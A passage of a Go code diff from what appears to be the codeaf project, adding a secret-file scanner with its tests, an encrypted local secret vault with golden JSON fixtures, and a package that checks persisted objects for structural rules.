walk. + Visit func(string, fs.DirEntry) +} + +// Walk scans every file under root. +func (s Scanner) Walk(root string) []Finding { return s.from(root, ".") } + +// Paths scans the named files, and every file under a named directory. +func (s Scanner) Paths(root string, rels []string) []Finding { + var out []Finding + for _, rel := range rels { + out = append(out, s.from(root, rel)...) + } + return out +} + +func (s Scanner) from(root, start string) []Finding { + var out []Finding + filepath.WalkDir(filepath.Join(root, start), func(p string, d fs.DirEntry, err error) error { + rel, _ := filepath.Rel(root, p) + rel = filepath.ToSlash(rel) + if err != nil { + if f, ok := refused(rel, err); ok { + out = append(out, f) + } + return nil + } + if rel != "." && s.Skip != nil && s.Skip(rel) { + return skipEntry(d) + } + if s.Visit != nil { + d = &screenEntry{DirEntry: d} + s.Visit(rel, d) + } + if !d.Type().IsRegular() { + return nil + } + if f, ok := s.file(rel, p, d); ok { + out = append(out, f) + } + return nil + }) + return out +} + +// refused is the finding for a path the walk could not enter because the system +// said no. The root itself is never named (a finding for "." would set apart the +// whole tree), and any other failure, such as a file that vanished, is no finding. +func refused(rel string, err error) (Finding, bool) { + if rel == "." || !errors.Is(err, fs.ErrPermission) { + return Finding{}, false + } + return Finding{Path: rel, Rule: RuleUnreadable}, true +} + +// file judges one file, reading it only when the ledger has not seen it clean. +func (s Scanner) file(rel, abs string, d fs.DirEntry) (Finding, bool) { + st, known := s.Ledger.known(abs, d) + if known { + return Finding{}, false + } + rule, hit := firstHit(rel, abs) + if !hit { + s.Ledger.note(abs, st) + } + return Finding{Path: rel, Rule: rule}, hit +} + +func skipEntry(d fs.DirEntry) error { + if d.IsDir() { + return fs.SkipDir + } + return nil +} + +// firstHit judges the path first, and reads the file only when its name is +// unremarkable. A file whose name is unremarkable and that may not be opened is +// unreadable: its name cannot clear it, and it is not noted clean. +func firstHit(rel, abs string) (string, bool) { + if !isTemplate(rel) { + if name, ok := firstRule(nameRules, rel, nil); ok { + return name, true + } + } + name, err := contentInFile(abs) + if err != nil && !errors.Is(err, fs.ErrNotExist) { + return RuleUnreadable, true + } + return name, name != "" +} + +// isTemplate is a committed placeholder (.env.example): its name says nothing +// about secrets, so only its content is judged. +func isTemplate(rel string) bool { + base := path.Base(rel) + // K3: Windows names are case-insensitive, including secret-bearing suffixes. + if runtime.GOOS == "windows" { + base = strings.ToLower(base) + } + for _, suffix := range []string{".example", ".sample", ".template"} { + if strings.HasSuffix(base, suffix) { + return true + } + } + return false +} + +func firstRule(list []rule, rel string, content []byte) (string, bool) { + for _, r := range list { + if r.hit(rel, content) { + return r.name, true + } + } + return "", false +} + +// contentInFile screens the whole file with bounded memory. A source file can +// acquire a key at its end, so limiting the read to its first MiB would let that +// key enter a seal. The overlap keeps every recognised key prefix and minimum +// match together when a value crosses a read boundary. +func contentInFile(abs string) (string, error) { + f, err := os.Open(abs) + if err != nil { + return "", err + } + defer f.Close() + const overlap, readSize = 128, 64 << 10 + buf := make([]byte, readSize+overlap) + kept := 0 + for { + n, err := f.Read(buf[kept : kept+readSize]) + end := kept + n + if name, hit := firstRule(contentRules, "", buf[:end]); hit { + return name, nil + } + if errors.Is(err, io.EOF) { + return "", nil + } + if err != nil { + return "", err + } + kept = copy(buf, buf[max(0, end-overlap):end]) + } +} + +// screenEntry shares one lstat between the metadata observer and the clean-file +// ledger. A full screen must not double its filesystem calls to build a hint. +type screenEntry struct { + fs.DirEntry + info fs.FileInfo + err error + read bool +} + +func (d *screenEntry) Info() (fs.FileInfo, error) { + if !d.read { + d.info, d.err = d.DirEntry.Info() + d.read = true + } + return d.info, d.err +} diff --git a/internal/keys/scan_test.go b/internal/keys/scan_test.go new file mode 100644 index 0000000000..f15ea16502 --- /dev/null +++ b/internal/keys/scan_test.go @@ -0,0 +1,54 @@ +package keys + +import ( + "os" + "path/filepath" + "reflect" + "runtime" + "sort" + "testing" +) + +func scanFixture(t *testing.T) string { + t.Helper() + if runtime.GOOS == "windows" { + t.Skip("K3: this fixture denies reads with Unix mode bits; Windows uses account permissions") + } + if os.Geteuid() == 0 { + t.Skip("root reads files whatever their mode") + } + root := t.TempDir() + for rel, mode := range map[string]os.FileMode{"odd.bin": 0, "fine.txt": 0o644, "locked/a.txt": 0o644, ".env": 0} { + p := filepath.Join(root, rel) + if err := os.MkdirAll(filepath.Dir(p), 0o755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(p, []byte("x"), 0o644); err != nil { + t.Fatal(err) + } + os.Chmod(p, mode) + } + os.Chmod(filepath.Join(root, "locked"), 0) + t.Cleanup(func() { os.Chmod(filepath.Join(root, "locked"), 0o755) }) + return root +} + +func TestScannerNamesPathsItCannotRead(t *testing.T) { + root := scanFixture(t) + var got []Finding + got = append(got, Scanner{}.Walk(root)...) + sort.Slice(got, func(i, j int) bool { return got[i].Path < got[j].Path }) + want := []Finding{{".env", RuleDotenv}, {"locked", RuleUnreadable}, {"odd.bin", RuleUnreadable}} + if !reflect.DeepEqual(got, want) { + t.Fatalf("findings %+v, want %+v", got, want) + } +} + +func TestUnreadableIsNeverNotedClean(t *testing.T) { + root := scanFixture(t) + s := Scanner{Ledger: NewLedger()} + s.Walk(root) + if again := s.Paths(root, []string{"odd.bin"}); len(again) != 1 || again[0].Rule != RuleUnreadable { + t.Fatalf("second scan %+v: an unreadable file was remembered as clean", again) + } +} diff --git a/internal/keys/scan_windows_test.go b/internal/keys/scan_windows_test.go new file mode 100644 index 0000000000..77abb3e841 --- /dev/null +++ b/internal/keys/scan_windows_test.go @@ -0,0 +1,32 @@ +package keys + +import ( + "os" + "path/filepath" + "testing" +) + +// TestK3WindowsSecretNamesFollowNTFSCaseRules proves K3: an upper-case dotenv +// or key-container name cannot bypass the same guard used for its lower-case +// spelling. Findings keep their original portable path for the vault. +func TestK3WindowsSecretNamesFollowNTFSCaseRules(t *testing.T) { + root := t.TempDir() + for _, name := range []string{".ENV", "Nested/Local.ENV", "Key.PFX"} { + path := filepath.Join(root, filepath.FromSlash(name)) + if err := os.MkdirAll(filepath.Dir(path), 0700); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(path, []byte("fixture value"), 0600); err != nil { + t.Fatal(err) + } + } + got := map[string]string{} + for _, finding := range ScanTree(root) { + got[finding.Path] = finding.Rule + } + for name, rule := range map[string]string{".ENV": RuleDotenv, "Nested/Local.ENV": RuleDotenv, "Key.PFX": "private-key-file"} { + if got[name] != rule { + t.Errorf("K3 %q: rule %q, want %q", name, got[name], rule) + } + } +} diff --git a/internal/keys/scope.go b/internal/keys/scope.go new file mode 100644 index 0000000000..4669d2cef6 --- /dev/null +++ b/internal/keys/scope.go @@ -0,0 +1,30 @@ +package keys + +import ( + "strings" + + "github.com/Agent-Field/codeaf/internal/cell" +) + +// ScopeOf names the project a cell's secrets belong to (SCHEMAS.md vault +// rulings): the normalized remote it was based on, else the cell's own id. +func ScopeOf(c cell.Cell) string { + if base := c.Meta().Base; base != nil && base.Remote != "" { + return NormalizeRemote(base.Remote) + } + return c.ID +} + +// NormalizeRemote makes the same repository the same scope however it was +// cloned: no scheme, no credentials, no .git suffix, host in lower case. +func NormalizeRemote(remote string) string { + r := strings.TrimSpace(remote) + if _, rest, ok := strings.Cut(r, "://"); ok { + r = rest + } + if _, rest, ok := strings.Cut(r, "@"); ok { + r = rest + } + host, path, _ := strings.Cut(strings.Replace(r, ":", "/", 1), "/") + return strings.ToLower(host) + "/" + strings.TrimSuffix(strings.Trim(path, "/"), ".git") +} diff --git a/internal/keys/seal.go b/internal/keys/seal.go new file mode 100644 index 0000000000..c575cd4e51 --- /dev/null +++ b/internal/keys/seal.go @@ -0,0 +1,105 @@ +package keys + +import ( + "crypto/rand" + "encoding/hex" + "encoding/json" + "errors" + "github.com/Agent-Field/codeaf/internal/fsreplace" + "os" + "path/filepath" + + "golang.org/x/crypto/chacha20poly1305" + + "github.com/Agent-Field/codeaf/internal/identity" +) + +// envelope is the plaintext wrapper: readers pick the key by CellKeyID +// (32 hex = 16 bytes, SCHEMAS.md). Stage 0 has one key per identity, so the id +// names that key and is derived from it; Stage 5 names a fresh key per cell in +// the same field. KeyID is the pre-freeze spelling (16 hex), read once and +// never written. +type envelope struct { + V uint16 `json:"V"` + CellKeyID string `json:"cell_key_id"` + Nonce string `json:"nonce"` + Data string `json:"data"` + KeyID string `json:"key_id,omitempty"` +} + +// idOf is the key id an envelope names, in either spelling. +func (e envelope) idOf() string { + if e.CellKeyID != "" { + return e.CellKeyID + } + return e.KeyID +} + +// namesKey reports whether id is the current id of key or its legacy form, +// the first 8 bytes of the same hash. +func namesKey(id string, key []byte) bool { + cur := identity.CellKeyID(key) + return id == cur || id == cur[:16] +} + +// ErrOtherKey says a vault was sealed under another identity's cell key. +var ErrOtherKey = errors.New("keys: vault was sealed under a different key") + +func seal(key, plain []byte) ([]byte, error) { + aead, err := chacha20poly1305.New(key) + if err != nil { + return nil, err + } + nonce := make([]byte, aead.NonceSize()) + if _, err := rand.Read(nonce); err != nil { + return nil, err + } + env := envelope{V: 1, CellKeyID: identity.CellKeyID(key), Nonce: hex.EncodeToString(nonce), + Data: hex.EncodeToString(aead.Seal(nil, nonce, plain, []byte(identity.CellKeyID(key))))} + return json.Marshal(env) +} + +func open(key, blob []byte) ([]byte, error) { + var env envelope + if err := json.Unmarshal(blob, &env); err != nil { + return nil, err + } + if !namesKey(env.idOf(), key) { + return nil, ErrOtherKey + } + aead, err := chacha20poly1305.New(key) + if err != nil { + return nil, err + } + nonce, err1 := hex.DecodeString(env.Nonce) + data, err2 := hex.DecodeString(env.Data) + if err := errors.Join(err1, err2); err != nil || len(nonce) != aead.NonceSize() { + return nil, errors.New("keys: malformed vault envelope") + } + return aead.Open(nil, nonce, data, []byte(env.idOf())) +} + +// writeAtomic writes data at mode 0600 via a temp file and rename. +func writeAtomic(path string, data []byte) error { + tmp, err := os.CreateTemp(filepath.Dir(path), ".tmp-*") + if err != nil { + return err + } + defer os.Remove(tmp.Name()) + if err := tmp.Chmod(0o600); err != nil { + tmp.Close() + return err + } + if _, err := tmp.Write(data); err != nil { + tmp.Close() + return err + } + if err := tmp.Sync(); err != nil { + tmp.Close() + return err + } + if err := tmp.Close(); err != nil { + return err + } + return fsreplace.Rename(tmp.Name(), path) +} diff --git a/internal/keys/testdata/vault.doc.golden.json b/internal/keys/testdata/vault.doc.golden.json new file mode 100644 index 0000000000..10c2caee38 --- /dev/null +++ b/internal/keys/testdata/vault.doc.golden.json @@ -0,0 +1 @@ +{"V":1,"secrets":{"a41c9e0b7d3f2586c1e0b94a7d3f2851":{"name":"DATABASE_URL","value":"postgres://x","scope":"p_8c1f2a"}},"updated":1759049990000} diff --git a/internal/keys/testdata/vault.envelope.golden.json b/internal/keys/testdata/vault.envelope.golden.json new file mode 100644 index 0000000000..38f919d4c8 --- /dev/null +++ b/internal/keys/testdata/vault.envelope.golden.json @@ -0,0 +1 @@ +{"V":1,"cell_key_id":"00112233445566778899aabbccddeeff","nonce":"00112233445566778899aabbccddeeff0011223344556677","data":"cafe"} diff --git a/internal/keys/vault.go b/internal/keys/vault.go new file mode 100644 index 0000000000..ad82b9d10c --- /dev/null +++ b/internal/keys/vault.go @@ -0,0 +1,329 @@ +package keys + +import ( + "crypto/rand" + "crypto/sha256" + "encoding/hex" + "encoding/json" + "errors" + "fmt" + "github.com/Agent-Field/codeaf/internal/fsreplace" + "os" + "path/filepath" + "sort" + "strings" + "sync" + "time" + + "github.com/Agent-Field/codeaf/internal/identity" +) + +// Entry is one secret: the env var Name injected at exec time, its Value, and +// the project Scope it belongs to (normalized base.remote URL, else root cell id). +type Entry struct { + Name string `json:"name"` + Value string `json:"value"` + Scope string `json:"scope"` +} + +// record is one slot of the vault: a live secret, or the tombstone a delete +// leaves so that a merge cannot bring the secret back. Updated is this slot's +// own stamp in unix ms; a slot written before slots had stamps reads as stamped +// by its document. A tombstone carries no name, value or scope, so a reader +// that does not know the field sees an entry that matches no project. +// Tombstones are never collected: pruning them is out of scope, and the cost is +// one small record per deleted secret. +type record struct { + Entry + Deleted bool `json:"deleted,omitempty"` + Updated int64 `json:"updated,omitempty"` +} + +// stampOf is the time a slot was last written, falling back to its document's. +func (r record) stampOf(doc *vaultDoc) int64 { + if r.Updated != 0 { + return r.Updated + } + return doc.Updated +} + +// live reports whether the slot holds a secret. +func (r record) live() bool { return !r.Deleted } + +// nextStamp is now, or one past the slot's previous stamp when the clock has +// not moved, so two writes to one slot in the same millisecond still order. +func nextStamp(prev record, doc *vaultDoc) int64 { return stampAt(time.Now(), prev, doc) } + +// stampAt is nextStamp for an edit made at a known time. +func stampAt(at time.Time, prev record, doc *vaultDoc) int64 { + return max(at.UnixMilli(), prev.stampOf(doc)+1) +} + +// vaultDoc is the stored object. Stage 0 has no policy: every secret is +// available to the local devices. +type vaultDoc struct { + V uint16 `json:"V"` + Secrets map[string]record `json:"secrets"` + Updated int64 `json:"updated"` // unix ms +} + +// ErrNotFound reports an unknown secret id. +var ErrNotFound = errors.New("keys: no such secret") + +// Vault is the local secret store rooted at a codeaf home. +type Vault struct { + mu sync.Mutex + path string + key []byte +} + +// Open prepares the vault under home, creating the home and the identity on +// first use. The vault seals under the identity's cell key: one root secret. +func Open(home string) (*Vault, error) { + id, err := identity.EnsureSolo(home) + if err != nil { + return nil, err + } + return &Vault{path: filepath.Join(home, "vault.enc"), key: id.CellKey()}, nil +} + +// Exists reports whether a vault has been written under home. Asking does not +// create one. +func Exists(home string) bool { + _, err := os.Stat(filepath.Join(home, "vault.enc")) + return err == nil +} + +// Fingerprint names the vault file's current content, or answers false when no +// vault has been written. The sealed bytes change exactly when the vault does, +// so two equal fingerprints mean nothing new to send. +func Fingerprint(home string) (string, bool) { + raw, err := os.ReadFile(filepath.Join(home, "vault.enc")) + if err != nil { + return "", false + } + sum := sha256.Sum256(raw) + return hex.EncodeToString(sum[:]), true +} + +// Put stores or replaces the secret under id. +func (v *Vault) Put(id string, e Entry) error { return v.PutAt(id, e, time.Now()) } + +// PutAt is Put for an edit that was made earlier than it is being recorded, such +// as a file saved before the vault heard of it. The slot is stamped with the +// time of the edit, so recording an old edit late never beats a newer one that +// another machine has already sent. +func (v *Vault) PutAt(id string, e Entry, at time.Time) error { + return v.update(func(d *vaultDoc) error { + d.Secrets[id] = record{Entry: e, Updated: stampAt(at, d.Secrets[id], d)} + return nil + }) +} + +// Get returns the secret under id. +func (v *Vault) Get(id string) (Entry, error) { + d, err := v.read() + if err != nil { + return Entry{}, err + } + r, ok := d.Secrets[id] + if !ok || !r.live() { + return Entry{}, ErrNotFound + } + return r.Entry, nil +} + +// Deleted reports whether id holds a tombstone, so a reader can tell a secret +// that was removed from one that was never there. +func (v *Vault) Deleted(id string) (bool, error) { + d, err := v.read() + return d.Secrets[id].Deleted, err +} + +// Delete removes the secret under id and leaves a tombstone, so merging with a +// device that still holds the secret does not bring it back. A missing id is +// not an error and leaves nothing. +func (v *Vault) Delete(id string) error { + return v.update(func(d *vaultDoc) error { + prev, ok := d.Secrets[id] + if !ok || !prev.live() { + return errUnchanged + } + d.Secrets[id] = record{Deleted: true, Updated: nextStamp(prev, d)} + return nil + }) +} + +// Entries returns the project's secrets sorted by name, the one stable order +// every reader of the vault shares. +func (v *Vault) Entries(project string) ([]Entry, error) { + d, err := v.read() + if err != nil { + return nil, err + } + var out []Entry + for _, r := range d.Secrets { + if r.live() && r.Scope == project { + out = append(out, r.Entry) + } + } + sort.Slice(out, func(i, j int) bool { return out[i].Name < out[j].Name }) + return out, nil +} + +// IDs lists the ids that start with prefix, in order, the removed ones too: a +// reader that keeps one slot per path needs the paths that were deleted as much +// as the live ones, since a tombstone is what tells it to delete the file. +func (v *Vault) IDs(prefix string) ([]string, error) { + d, err := v.read() + if err != nil { + return nil, err + } + var out []string + for id := range d.Secrets { + if strings.HasPrefix(id, prefix) { + out = append(out, id) + } + } + sort.Strings(out) + return out, nil +} + +// Env returns NAME=value pairs for the project, sorted by name, ready to +// append to an exec environment. +func (v *Vault) Env(project string) ([]string, error) { + entries, err := v.Entries(project) + var out []string + for _, e := range entries { + out = append(out, e.Name+"="+e.Value) + } + return out, err +} + +// ImportDotenv reads a .env file into entries scoped to project. A name +// already stored for that project keeps its id and takes the new value. +func (v *Vault) ImportDotenv(path, project string) (int, error) { + raw, err := os.ReadFile(path) + if err != nil { + return 0, err + } + pairs := parseDotenv(string(raw)) + changed := false + err = v.update(func(d *vaultDoc) error { + for _, p := range pairs { + id, err := idFor(d, p.name, project) + if err != nil { + return err + } + next := Entry{Name: p.name, Value: p.value, Scope: project} + if prev := d.Secrets[id]; prev.Entry != next || !prev.live() { + d.Secrets[id], changed = record{Entry: next, Updated: nextStamp(prev, d)}, true + } + } + if !changed { + return errUnchanged + } + return nil + }) + return len(pairs), err +} + +func idFor(d *vaultDoc, name, project string) (string, error) { + for id, r := range d.Secrets { + if r.live() && r.Name == name && r.Scope == project { + return id, nil + } + } + b := make([]byte, 16) + if _, err := rand.Read(b); err != nil { + return "", err + } + return hex.EncodeToString(b), nil +} + +func (v *Vault) read() (*vaultDoc, error) { + blob, err := os.ReadFile(v.path) + if errors.Is(err, os.ErrNotExist) { + return &vaultDoc{V: 1, Secrets: map[string]record{}}, nil + } + if err != nil { + return nil, err + } + d, err := openDoc(v.key, blob) + if errors.Is(err, ErrOtherKey) && v.adoptStaged() { + return v.read() + } + return d, err +} + +// adoptStaged finishes a reseal that stopped between the identity changing and +// the vault following it: a staged vault that opens under this key replaces the +// live one. It answers whether it did, so a vault that is simply another +// identity's is left alone and reported as it is. +func (v *Vault) adoptStaged() bool { + next := filepath.Join(filepath.Dir(v.path), nextFile) + blob, err := os.ReadFile(next) + if err != nil { + return false + } + if _, err := open(v.key, blob); err != nil { + return false + } + return fsreplace.Rename(next, v.path) == nil +} + +// openDoc opens a sealed vault envelope and decodes the document inside. +func openDoc(key, blob []byte) (*vaultDoc, error) { + plain, err := open(key, blob) + if err != nil { + return nil, err + } + var d vaultDoc + if err := json.Unmarshal(plain, &d); err != nil { + return nil, fmt.Errorf("keys: corrupt vault: %w", err) + } + if d.Secrets == nil { + d.Secrets = map[string]record{} + } + return &d, nil +} + +// errUnchanged is what an update function returns when it made no change: the +// vault is then not rewritten and the caller sees no error. +var errUnchanged = errors.New("keys: nothing to write") + +// update applies fn to the stored document and writes it back atomically. +func (v *Vault) update(fn func(*vaultDoc) error) error { + v.mu.Lock() + defer v.mu.Unlock() + d, err := v.read() + if err != nil { + return err + } + if err := fn(d); err != nil { + return ignoreUnchanged(err) + } + d.Updated = time.Now().UnixMilli() + return v.write(d) +} + +// write seals the document and replaces the vault file atomically. The caller +// holds the lock and has already set the document's Updated stamp. +func (v *Vault) write(d *vaultDoc) error { + plain, err := json.Marshal(d) + if err != nil { + return err + } + blob, err := seal(v.key, plain) + if err != nil { + return err + } + return writeAtomic(v.path, blob) +} + +func ignoreUnchanged(err error) error { + if errors.Is(err, errUnchanged) { + return nil + } + return err +} diff --git a/internal/lawcheck/golden.go b/internal/lawcheck/golden.go new file mode 100644 index 0000000000..4ce450aad3 --- /dev/null +++ b/internal/lawcheck/golden.go @@ -0,0 +1,91 @@ +package lawcheck + +import ( + "bytes" + "encoding/json" + "flag" + "os" + "path/filepath" + "reflect" + "testing" +) + +// UpdateFlag registers -update for the test binary that calls it, unless the +// package already has a flag of that name. It is a call, not an init, because +// some packages that import lawcheck define their own -update. +func UpdateFlag() bool { + if flag.Lookup("update") == nil { + flag.Bool("update", false, "rewrite golden fixtures from their samples") + } + return true +} + +func updating() bool { return flag.Lookup("update").Value.String() == "true" } + +// Golden freezes one persisted schema. sample is a fully populated value (every +// optional field set) of the type the build writes; path is its fixture. The +// fixture is the schema's contract in bytes, and three things must hold: +// +// - the build still writes exactly the fixture (the write side is stable), +// - decoding the fixture and encoding it again yields the same bytes (the +// read side loses and reorders nothing), +// - V is the first key (L11). +// +// With -update the fixture is rewritten from the sample; a diff in review is +// then a visible schema change. +func Golden(t testing.TB, path string, sample any) { + t.Helper() + written := mustMarshal(t, sample) + if updating() { + writeFixture(t, path, written) + return + } + golden := bytes.TrimRight(readFixture(t, path), "\n") + if !bytes.Equal(written, golden) { + t.Errorf("%s: the build writes\n%s\nbut the fixture is\n%s\n(rerun with -update if the schema change is intended)", path, written, golden) + } + if again := roundTrip(t, sample, golden); !bytes.Equal(again, golden) { + t.Errorf("%s: decode then encode changed the bytes:\n%s\n%s", path, golden, again) + } + if !VersionFirst(golden) { + t.Errorf("%s: V is not the first key", path) + } +} + +// roundTrip decodes doc into a fresh value of sample's type and encodes it. +func roundTrip(t testing.TB, sample any, doc []byte) []byte { + t.Helper() + fresh := reflect.New(reflect.TypeOf(sample)) + if err := json.Unmarshal(doc, fresh.Interface()); err != nil { + t.Fatalf("decode %T: %v", sample, err) + } + return mustMarshal(t, fresh.Elem().Interface()) +} + +func mustMarshal(t testing.TB, v any) []byte { + t.Helper() + b, err := json.Marshal(v) + if err != nil { + t.Fatal(err) + } + return b +} + +func readFixture(t testing.TB, path string) []byte { + t.Helper() + b, err := os.ReadFile(path) + if err != nil { + t.Fatalf("%v (run with -update to create it)", err) + } + return b +} + +func writeFixture(t testing.TB, path string, doc []byte) { + t.Helper() + if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(path, append(doc, '\n'), 0o644); err != nil { + t.Fatal(err) + } +} diff --git a/internal/lawcheck/lawcheck.go b/internal/lawcheck/lawcheck.go new file mode 100644 index 0000000000..af7b6e64cd --- /dev/null +++ b/internal/lawcheck/lawcheck.go @@ -0,0 +1,159 @@ +// Package lawcheck holds the reusable checkers behind the structural laws +// about persisted objects (docs/ARCHITECTURE.md §13). Each checker takes bytes +// or source and returns findings; an empty result means the law holds. +package lawcheck + +import ( + "bytes" + "encoding/json" + "go/ast" + "go/parser" + "go/token" + "io/fs" + "os" + "path/filepath" + "regexp" + "strings" +) + +var windowsDrive = regexp.MustCompile(`^[A-Za-z]:[\\/]`) + +// NoAbsolutePaths returns every string value in the JSON document that looks +// like an absolute path or contains the user's home directory (L1). +func NoAbsolutePaths(doc []byte) []string { + var v any + if err := json.Unmarshal(doc, &v); err != nil { + return []string{"not JSON: " + err.Error()} + } + home, _ := os.UserHomeDir() + var bad []string + walkStrings(v, func(s string) { + if isAbsolute(s) || inHome(s, home) { + bad = append(bad, s) + } + }) + return bad +} + +// NoAbsolutePathsUnder applies [NoAbsolutePaths] to every JSON file (and every +// line of every JSON-lines file) under dir, and answers the findings keyed by +// file path relative to dir. It is L1 for a whole sealed directory: a file the +// build starts writing there is covered without a registration. +func NoAbsolutePathsUnder(dir string) (map[string][]string, error) { + found := map[string][]string{} + err := filepath.WalkDir(dir, func(path string, d fs.DirEntry, err error) error { + if err != nil || d.IsDir() { + return err + } + docs, err := jsonDocs(path) + if err != nil { + return err + } + rel, _ := filepath.Rel(dir, path) + for _, doc := range docs { + found[rel] = append(found[rel], NoAbsolutePaths(doc)...) + } + return nil + }) + return found, err +} + +// jsonDocs is the JSON documents a file holds: itself for .json, each +// non-blank line for .jsonl, nothing for any other file. +func jsonDocs(path string) ([][]byte, error) { + ext := filepath.Ext(path) + if ext != ".json" && ext != ".jsonl" { + return nil, nil + } + raw, err := os.ReadFile(path) + if err != nil || ext == ".json" { + return [][]byte{raw}, err + } + var docs [][]byte + for _, line := range bytes.Split(raw, []byte("\n")) { + if len(bytes.TrimSpace(line)) > 0 { + docs = append(docs, line) + } + } + return docs, nil +} + +func isAbsolute(s string) bool { + return strings.HasPrefix(s, "/") || windowsDrive.MatchString(s) +} + +func inHome(s, home string) bool { + return len(home) > 1 && strings.Contains(s, home) +} + +func walkStrings(v any, visit func(string)) { + switch x := v.(type) { + case string: + visit(x) + case []any: + for _, e := range x { + walkStrings(e, visit) + } + case map[string]any: + for _, e := range x { + walkStrings(e, visit) + } + } +} + +// VersionFirst reports whether the JSON document begins with the version +// field, so a reader can branch on it before reading anything else (L11). +func VersionFirst(doc []byte) bool { + return bytes.HasPrefix(doc, []byte(`{"V":`)) +} + +// ConstructsType returns the position of every place in src that builds a +// value of the named type: a composite literal, new(T), or a var declaration +// (which yields a zero value). Declaring the type itself is not construction. +func ConstructsType(filename string, src any, typeName string) ([]string, error) { + fset := token.NewFileSet() + f, err := parser.ParseFile(fset, filename, src, 0) + if err != nil { + return nil, err + } + var hits []string + ast.Inspect(f, func(n ast.Node) bool { + if e := constructedType(n); e != nil && namesType(e, typeName) { + hits = append(hits, fset.Position(n.Pos()).String()) + } + return true + }) + return hits, nil +} + +// constructedType is the type expression a node instantiates, or nil. +func constructedType(n ast.Node) ast.Expr { + switch x := n.(type) { + case *ast.CompositeLit: + return x.Type + case *ast.ValueSpec: + return x.Type + case *ast.CallExpr: + return newArg(x) + } + return nil +} + +func newArg(c *ast.CallExpr) ast.Expr { + if id, ok := c.Fun.(*ast.Ident); ok && id.Name == "new" && len(c.Args) == 1 { + return c.Args[0] + } + return nil +} + +func namesType(e ast.Expr, name string) bool { + switch x := e.(type) { + case *ast.Ident: + return x.Name == name + case *ast.SelectorExpr: + return x.Sel.Name == name + case *ast.StarExpr: + return namesType(x.X, name) + } + return false +} diff --git a/internal/lawcheck/laws_test.go b/internal/lawcheck/laws_test.go new file mode 100644 index 0000000000..fa4550170f --- /dev/null +++ b/internal/lawcheck/laws_test.go @@ -0,0 +1,245 @@ +package lawcheck + +import ( + "encoding/json" + "go/ast" + "go/parser" + "go/token" + "io/fs" + "os" + "path/filepath" + "strings" + "testing" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/cellbudget" + "github.com/Agent-Field/codeaf/internal/cellstore" + "github.com/Agent-Field/codeaf/internal/inventory" + "github.com/Agent-Field/codeaf/internal/session" +) + +// ── THE PERSISTED-OBJECT TABLE ────────────────────────────────────────────── +// +// Every object the build writes to disk is one row here. A row is a name and a +// populated sample (every optional field set, so the checks see every key). +// A later lane that adds a persisted type adds ONE row; L1, L11 and the golden +// fixture (testdata/.golden.json, made with -update) then hold for it with +// no other edit. Types this package cannot name (the WAL record, the vault +// envelope) have their row in their own package, through [Golden]. +var _ = UpdateFlag() + +var persisted = []row{ + {"cell.Meta", cell.Meta{ + V: 1, Class: cell.FilesOnly, CellKeyID: "00112233445566778899aabbccddeeff", + Base: &cell.Base{Remote: "https://example.test/repo.git", SHA: "abc123"}, + }}, + {"session.SessionTruth", session.SessionTruth{ + V: 1, LaunchDir: "workspace:cmd", Owned: true, Effort: "high", Approval: "allow", + Places: []session.PlaceRef{{Path: "home:proj", Arrival: session.PlaceSaid}}, + Trees: []session.StandingTree{{Folder: "home:proj", Dir: "session:trees/a", Root: "home:proj", Wrote: []string{"a.go"}}}, + Archived: true, + ArchivedTasks: map[string]bool{"t1": true}, + }}, + {"cellstore.Turn", cellstore.Turn{ + V: 1, ID: "9f2c", Parent: "41ab", MergeParents: []string{"77d0"}, SealedAtMs: 1759049990120, + Quality: cellstore.Quiescent, Trigger: cellstore.Setup, Device: "c0de", Fence: 17, + Receipt: "77d0", ExcludedPaths: []string{"node_modules"}, + }}, + {"cellstore.Receipt", cellstore.Receipt{ + V: 1, Transcript: cellstore.Range{Start: 40213, End: 41877}, + Calls: []cellstore.Call{{Tool: "bash", ArgsHash: "d1f0", Started: 1759049981200, Ended: 1759049981940, + Exit: 0, StdoutHash: "0a1b", StderrHash: "e3b0", SideEffect: "local"}}, + Services: []cellstore.ServiceRec{{PID: 4711, Argv: []string{"postgres", "-D", "var/pg"}, Ports: []int{5432}}}, + ModelCalls: []cellstore.ModelCall{{Model: "deepseek/deepseek-v4.1-flash", ParamsHash: "7c7c", + RequestHash: "5a5a", ResponseHash: "b2b2", TokensIn: 5210, TokensOut: 412, CostMicroUSD: 613}}, + }}, + {"cellstore.Receipt.minimal", cellstore.Receipt{V: 1, Calls: []cellstore.Call{}}}, + {"cellstore.Intent", cellstore.Intent{V: 1, Tool: "bash", ArgsHash: "d1f0", Started: 1759049981200, SideEffect: "external"}}, + {"inventory.Inventory", inventory.Inventory{ + V: 1, + Tools: []inventory.Tool{{Name: "node", BinaryHash: "3fa9c2", VersionString: "v22.4.0"}}, + Services: []inventory.Service{{Name: "postgres", Version: "16.3", Ports: []int{5432}, DataDir: "var/pg"}}, + Platform: inventory.Platform{OS: "linux", Arch: "amd64"}, Lockfiles: []string{"uv.lock"}, + EnvVarNames: []string{"DATABASE_URL"}, Hints: map[string]string{"devcontainer": ".devcontainer/devcontainer.json"}, + Annotations: map[string]map[string]any{"postgres": {"optional": true}}, + }}, +} + +type row struct { + name string + sample any +} + +// deviceLocal objects never enter a tree, so L1 does not apply to them (the +// budget ledger names the cell's own root); they are frozen all the same. +var deviceLocal = []row{ + {"cellbudget.Entry", cellbudget.Entry{ + V: 1, Root: "/cells/01J", OpenedMs: 1759049981200, Bytes: 4096, MeasuredMs: 1759049990000, + Evicted: &cellbudget.Pointer{Snapshot: "9f2c", AtMs: 1759050000000, Paths: []string{"work"}}, + }}, + {"cellbudget.Entry.resident", cellbudget.Entry{V: 1, Root: "/cells/01J", OpenedMs: 1759049981200}}, +} + +// The sealing package: the one place a Turn may be built (L2). +const ( + sealingPackage = "cellstore" + sealedType = "Turn" +) + +// Directories (relative to the module root) that may not build a Turn outside +// the sealing package. +var turnScope = []string{"internal/cell", "internal/cellstore"} + +func encode(t *testing.T, v any) []byte { + t.Helper() + b, err := json.Marshal(v) + if err != nil { + t.Fatal(err) + } + return b +} + +func TestLawL1NoAbsolutePathsInPersistedObjects(t *testing.T) { + for _, o := range persisted { + if bad := NoAbsolutePaths(encode(t, o.sample)); len(bad) > 0 { + t.Errorf("%s persists absolute paths: %q", o.name, bad) + } + } +} + +func TestLawL11VersionFieldFirst(t *testing.T) { + for _, o := range 